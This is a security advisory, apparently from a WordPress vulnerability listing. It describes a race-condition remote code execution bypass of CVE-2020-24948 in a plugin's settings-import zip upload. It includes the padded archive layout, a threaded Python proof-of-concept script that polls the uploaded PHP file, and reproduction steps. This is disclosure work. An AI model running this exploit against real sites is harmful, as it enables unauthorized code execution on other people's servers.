The plugin attempts to remove potential malicious files from the extracted archive uploaded via the 'Import Settings' feature, however this is not sufficient to protect against RCE as a race condition can be achieved in between the moment the file is extracted on the disk but not yet removed. It is a bypass of CVE-2020-24948.
To increase the period between extraction of a file and its removal I added another, bigger file to the archive. In fact it was a 4MB list of passwords. This results in having more time between extraction of first (test.php) and second (zzz.txt) files, so that test.php is available for more time.
Exemplary file to use as a second file (zzz.txt) could be for example: https://gitlab.com/kalilinux/packages/seclists/blob/0aab3b70769ed9faf79b3c1159fb32ef131c7ee6/Passwords/xato-net-10-million-passwords-dup.txt
The structure of an archive is as presented:
$ zip -sf upload.zip
Archive contains:
settings.json
test.php
zzz.txt
Total 3 entries (4366552 bytes)
settings.json is an empty file.
Python Script for Race Condition:
#!/usr/bin/python
import requests
from threading import Thread
def requestor(name):
while True:
response = requests.get('http://my_address_here/wp/wp-content/uploads/ao_ccss/test.php')
if 'PHP Version' in response.text:
print(name + " Race condition succeeded.")
# print(response.text)
exit()
threads = []
for i in range(0, 5):
t = Thread(target=requestor, args=("Thread-"+str(i), ))
t.start()
threads.append(t)
for t in threads:
t.join()
Steps to reproduce the vulnerability:
Run the script:
python3 racecondition.php
Upload zip archive using upload here: http://my_address_here/wp/wp-admin/options-general.php?page=ao_critcss
The script should give an output similar to this one:
Thread-4 Race condition succeeded.
In my case, race condition almost always succeed on remote host. Marcin Węgłowski
Marcin Węgłowski
Yes
2020-10-09 (about 2 years ago)
2021-06-07 (about 1 years ago)
2021-06-25 (about 1 years ago)